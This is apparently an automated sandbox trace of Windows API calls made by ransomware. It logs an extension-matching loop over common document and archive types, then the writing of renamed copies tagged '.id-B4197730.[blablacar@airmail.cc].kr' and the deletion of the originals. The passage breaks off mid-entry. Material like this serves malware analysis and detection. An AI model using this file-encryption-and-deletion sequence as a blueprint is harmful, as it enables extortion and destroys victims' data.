lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString=".doc") returned 4 [0175.720] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.720] lstrlenW (lpString=".docx") returned 5 [0175.720] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.720] lstrlenW (lpString=".pdf") returned 4 [0175.720] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.720] lstrlenW (lpString=".xls") returned 4 [0175.720] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.720] lstrlenW (lpString=".xlsx") returned 5 [0175.720] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.720] lstrlenW (lpString=".ppt") returned 4 [0175.720] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString=".zip") returned 4 [0175.720] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.720] lstrlenW (lpString=".rar") returned 4 [0175.720] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.720] lstrlenW (lpString=".bz2") returned 4 [0175.720] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.720] lstrlenW (lpString=".7z") returned 3 [0175.720] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString=".dbf") returned 4 [0175.720] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.721] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.721] lstrlenW (lpString=".1cd") returned 4 [0175.721] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.721] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.721] lstrlenW (lpString=".jpg") returned 4 [0175.721] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.721] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.721] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.721] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.721] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=76640) returned 1 [0175.721] CloseHandle (hObject=0x344) returned 1 [0175.721] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0175.721] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.721] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.721] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0175.721] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0175.722] lstrlenW (lpString=".doc") returned 4 [0175.722] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.722] lstrlenW (lpString=".docx") returned 5 [0175.722] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.722] lstrlenW (lpString=".pdf") returned 4 [0175.722] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.722] lstrlenW (lpString=".xls") returned 4 [0175.722] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.722] lstrlenW (lpString=".xlsx") returned 5 [0175.722] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.722] lstrlenW (lpString=".ppt") returned 4 [0175.722] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.722] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0175.722] lstrlenW (lpString=".zip") returned 4 [0175.722] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.722] lstrlenW (lpString=".rar") returned 4 [0175.722] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.722] lstrlenW (lpString=".bz2") returned 4 [0175.722] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.722] lstrlenW (lpString=".7z") returned 3 [0175.722] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.722] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0175.916] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0175.917] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.843] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x44630a0, Size=0x4000) returned 0x44630a0 [0176.844] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.881] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x44630a0, Size=0x2000) returned 0x44630a0 [0176.881] lstrcmpiW (lpString1=".tlb", lpString2=".kr") returned 1 [0177.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0178.298] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=634) returned 1 [0178.298] CloseHandle (hObject=0x454) returned 1 [0178.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0178.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0178.299] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.424] GetLastError () returned 0x0 [0178.424] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x27a, lpOverlapped=0x0) returned 1 [0178.445] WriteFile (in: hFile=0x404, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x280, lpOverlapped=0x0) returned 1 [0178.446] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.446] WriteFile (in: hFile=0x404, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe2, lpOverlapped=0x0) returned 1 [0178.447] SetEndOfFile (hFile=0x404) returned 1 [0178.447] CloseHandle (hObject=0x404) returned 1 [0178.448] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.448] SetEndOfFile (hFile=0x454) returned 1 [0178.451] CloseHandle (hObject=0x454) returned 1 [0178.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.452] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0178.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.453] lstrlenW (lpString=".doc") returned 4 [0178.453] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString=".docx") returned 5 [0178.453] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0178.453] lstrlenW (lpString=".pdf") returned 4 [0178.453] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString=".xls") returned 4 [0178.453] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString=".xlsx") returned 5 [0178.453] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0178.453] lstrlenW (lpString=".ppt") returned 4 [0178.453] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.453] lstrlenW (lpString=".zip") returned 4 [0178.453] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString=".rar") returned 4 [0178.453] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString=".bz2") returned 4 [0178.453] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0178.453] lstrlenW (lpString=".7z") returned 3 [0178.453] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0178.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.453] lstrlenW (lpString=".dbf") returned 4 [0178.453] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0178.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.453] lstrlenW (lpString=".1cd") returned 4 [0178.453] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0178.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString=".jpg") returned 4 [0178.454] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString=".doc") returned 4 [0178.454] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString=".docx") returned 5 [0178.454] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0178.454] lstrlenW (lpString=".pdf") returned 4 [0178.454] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString=".xls") returned 4 [0178.454] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString=".xlsx") returned 5 [0178.454] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0178.454] lstrlenW (lpString=".ppt") returned 4 [0178.454] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString=".zip") returned 4 [0178.454] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString=".rar") returned 4 [0178.454] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString=".bz2") returned 4 [0178.454] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0178.454] lstrlenW (lpString=".7z") returned 3 [0178.454] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0178.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString=".dbf") returned 4 [0178.454] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0178.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.454] lstrlenW (lpString=".1cd") returned 4 [0178.454] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0178.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0178.455] lstrlenW (lpString=".jpg") returned 4 [0178.455] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0178.455] lstrcmpiW (lpString1=".pf", lpString2=".kr") returned 1 [0178.455] lstrlenW (lpString="PYCC.pf") returned 7 [0178.455] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0178.455] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=274474) returned 1 [0178.455] CloseHandle (hObject=0x454) returned 1 [0178.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0178.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0178.456] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.456] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0178.458] GetLastError () returned 0x0 [0178.458] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4302a, lpOverlapped=0x0) returned 1 [0178.922] WriteFile (in: hFile=0x458, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x43030, lpOverlapped=0x0) returned 1 [0178.928] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.928] WriteFile (in: hFile=0x458, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe2, lpOverlapped=0x0) returned 1 [0178.928] SetEndOfFile (hFile=0x458) returned 1 [0178.929] CloseHandle (hObject=0x458) returned 1 [0178.935] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.935] SetEndOfFile (hFile=0x454) returned 1 [0178.943] CloseHandle (hObject=0x454) returned 1 [0178.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.944] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString=".doc") returned 4 [0178.945] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".docx") returned 5 [0178.945] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0178.945] lstrlenW (lpString=".pdf") returned 4 [0178.945] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".xls") returned 4 [0178.945] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".xlsx") returned 5 [0178.945] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0178.945] lstrlenW (lpString=".ppt") returned 4 [0178.945] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString=".zip") returned 4 [0178.945] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".rar") returned 4 [0178.945] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".bz2") returned 4 [0178.945] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString=".7z") returned 3 [0178.945] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString=".dbf") returned 4 [0178.945] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString=".1cd") returned 4 [0178.945] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.945] lstrlenW (lpString=".jpg") returned 4 [0178.945] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.946] lstrlenW (lpString=".doc") returned 4 [0178.946] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".docx") returned 5 [0178.946] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0178.946] lstrlenW (lpString=".pdf") returned 4 [0178.946] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".xls") returned 4 [0178.946] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".xlsx") returned 5 [0178.946] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0178.946] lstrlenW (lpString=".ppt") returned 4 [0178.946] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.946] lstrlenW (lpString=".zip") returned 4 [0178.946] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".rar") returned 4 [0178.946] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".bz2") returned 4 [0178.946] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString=".7z") returned 3 [0178.946] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.946] lstrlenW (lpString=".dbf") returned 4 [0178.946] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0178.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.947] lstrlenW (lpString=".1cd") returned 4 [0178.947] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0178.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0178.947] lstrlenW (lpString=".jpg") returned 4 [0178.947] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0178.947] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.947] lstrlenW (lpString="messages_es.properties") returned 22 [0178.947] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0178.948] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3600) returned 1 [0178.948] CloseHandle (hObject=0x454) returned 1 [0178.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0178.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0178.949] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.949] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.949] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0178.949] GetLastError () returned 0x0 [0178.949] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xe10, lpOverlapped=0x0) returned 1 [0179.280] WriteFile (in: hFile=0x458, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe20, lpOverlapped=0x0) returned 1 [0179.281] ReadFile (in: hFile=0x454, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.281] WriteFile (in: hFile=0x458, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x100, lpOverlapped=0x0) returned 1 [0179.281] SetEndOfFile (hFile=0x458) returned 1 [0179.282] CloseHandle (hObject=0x458) returned 1 [0179.283] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.283] SetEndOfFile (hFile=0x454) returned 1 [0179.285] CloseHandle (hObject=0x454) returned 1 [0179.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.526] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: 